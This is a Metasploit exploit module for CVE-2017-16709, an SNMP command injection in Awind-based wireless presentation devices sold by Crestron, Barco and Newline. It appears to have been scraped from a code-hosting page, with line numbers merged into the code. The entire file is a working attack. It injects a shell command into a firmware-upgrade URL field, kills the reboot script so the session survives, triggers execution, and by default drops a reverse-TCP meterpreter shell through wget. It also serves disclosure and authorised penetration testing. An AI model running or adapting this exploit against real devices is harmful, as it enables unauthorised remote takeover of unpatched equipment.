Path: blob/master/modules/exploits/linux/snmp/awind_snmp_exec.rb
32248 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::SNMPClient9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'AwindInc SNMP Service Command Injection',16'Description' => %q{17This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.18A valid SNMP read-write community is required to exploit this vulnerability.1920The following devices are known to be affected by this issue:2122* Crestron Airmedia AM-100 <= version 1.5.0.423* Crestron Airmedia AM-101 <= version 2.5.0.1224* Awind WiPG-1600w <= version 2.0.1.825* Awind WiPG-2000d <= version 2.1.6.226* Barco wePresent 2000 <= version 2.1.5.727* Newline Trucast 2 <= version 2.1.0.528* Newline Trucast 3 <= version 2.1.3.729},30'License' => MSF_LICENSE,31'Author' => [32'Quentin Kaiser <kaiserquentin[at]gmail.com>'33],34'References' => [35['CVE', '2017-16709'],36['URL', 'https://github.com/QKaiser/awind-research'],37['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/']38],39'DisclosureDate' => '2019-03-27',40'Privileged' => true,41'Targets' => [42[43'Unix In-Memory',44{45'Platform' => 'unix',46'Arch' => ARCH_CMD,47'Type' => :unix_memory,48'Payload' => {49'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl' }50}51}52],53[54'Linux Dropper',55{56'Platform' => 'linux',57'Arch' => ARCH_ARMLE,58'CmdStagerFlavor' => %w[wget],59'Type' => :linux_dropper60}61]62],63'DefaultTarget' => 1,64'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' },65'Notes' => {66'Reliability' => UNKNOWN_RELIABILITY,67'Stability' => UNKNOWN_STABILITY,68'SideEffects' => UNKNOWN_SIDE_EFFECTS69}70)71)7273register_options(74[75OptString.new('COMMUNITY', [true, 'SNMP Community String', 'private']),76]77)78end7980def check81begin82connect_snmp83sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s84print_status("Target system is #{sys_description}")85# AM-100 and AM-101 considered EOL, no fix so no need to check version.86model = sys_description.scan(/Crestron Electronics (AM-100|AM-101)/).flatten.first87case model88when 'AM-100', 'AM-101'89return CheckCode::Vulnerable90else91# TODO: insert description check for other vulnerable models (that I don't have)92# In the meantime, we return 'safe'.93return CheckCode::Safe94end95rescue SNMP::RequestTimeout96print_error("#{ip} SNMP request timeout.")97rescue Rex::ConnectionError98print_error("#{ip} Connection refused.")99rescue SNMP::UnsupportedVersion100print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")101rescue ::Interrupt102raise $!103rescue ::Exception => e104print_error("Unknown error: #{e.class} #{e}")105ensure106disconnect_snmp107end108Exploit::CheckCode::Unknown109end110111def inject_payload(cmd)112connect_snmp113varbind = SNMP::VarBind.new([1, 3, 6, 1, 4, 1, 3212, 100, 3, 2, 9, 1, 0], SNMP::OctetString.new(cmd))114resp = snmp.set(varbind)115if resp.error_status == :noError116print_status('Injection successful')117else118print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")119end120rescue SNMP::RequestTimeout121print_error("#{ip} SNMP request timeout.")122rescue Rex::ConnectionError123print_error("#{ip} Connection refused.")124rescue SNMP::UnsupportedVersion125print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")126rescue ::Interrupt127raise $!128rescue ::Exception => e129print_error("Unknown error: #{e.class} #{e}")130ensure131disconnect_snmp132end133134def trigger135connect_snmp136varbind = SNMP::VarBind.new([1, 3, 6, 1, 4, 1, 3212, 100, 3, 2, 9, 5, 0], SNMP::Integer32.new(1))137resp = snmp.set(varbind)138if resp.error_status == :noError139print_status('Trigger successful')140else141print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")142end143rescue SNMP::RequestTimeout144print_error("#{ip} SNMP request timeout.")145rescue Rex::ConnectionError146print_error("#{ip} Connection refused.")147rescue SNMP::UnsupportedVersion148print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")149rescue ::Interrupt150raise $!151rescue ::Exception => e152print_error("Unknown error: #{e.class} #{e}")153ensure154disconnect_snmp155end156157def exploit158case target['Type']159when :unix_memory160execute_command(payload.encoded)161when :linux_dropper162execute_cmdstager163end164end165166def execute_command(cmd, _opts = {})167# The payload must start with a valid FTP URI otherwise the injection point is not reached168cmd = "ftp://1.1.1.1/$(#{cmd})"169170# When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback171# We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and172# keep our reverse shell opened :)173cmd << '$(pkill -f /etc/reboot.sh)'174175# the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad176cmd << 'A' * (255 - cmd.length)177178# we inject our payload in camFWUpgradeFTPURL179print_status('Injecting payload')180inject_payload(cmd)181182# we trigger the firmware download via FTP, which will end up calling this183# "/bin/getRemoteURL.sh %s %s %s %d"184print_status('Triggering call')185trigger186end187end188189190